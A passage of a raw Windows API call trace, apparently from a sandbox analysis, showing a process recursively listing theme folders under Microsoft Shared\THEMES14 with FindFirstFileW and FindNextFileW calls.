ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.690] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.691] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.692] GetProcessHeap () returned 0x550000 [0085.692] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.692] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0085.692] GetProcessHeap () returned 0x550000 [0085.692] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.694] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.694] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.695] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0085.695] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0085.695] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.695] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.695] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.696] GetProcessHeap () returned 0x550000 [0085.696] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.696] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0085.696] GetProcessHeap () returned 0x550000 [0085.696] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.697] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.698] GetProcessHeap () returned 0x550000 [0085.698] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.698] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0085.698] GetProcessHeap () returned 0x550000 [0085.698] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.698] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.700] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.701] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.701] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.701] GetProcessHeap () returned 0x550000 [0085.701] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.701] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0085.701] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0085.701] GetProcessHeap () returned 0x550000 [0085.701] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.704] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.704] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.704] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.704] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0085.705] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0085.705] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0085.705] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.705] GetProcessHeap () returned 0x550000 [0085.705] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.705] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0085.705] GetProcessHeap () returned 0x550000 [0085.705] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.706] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, 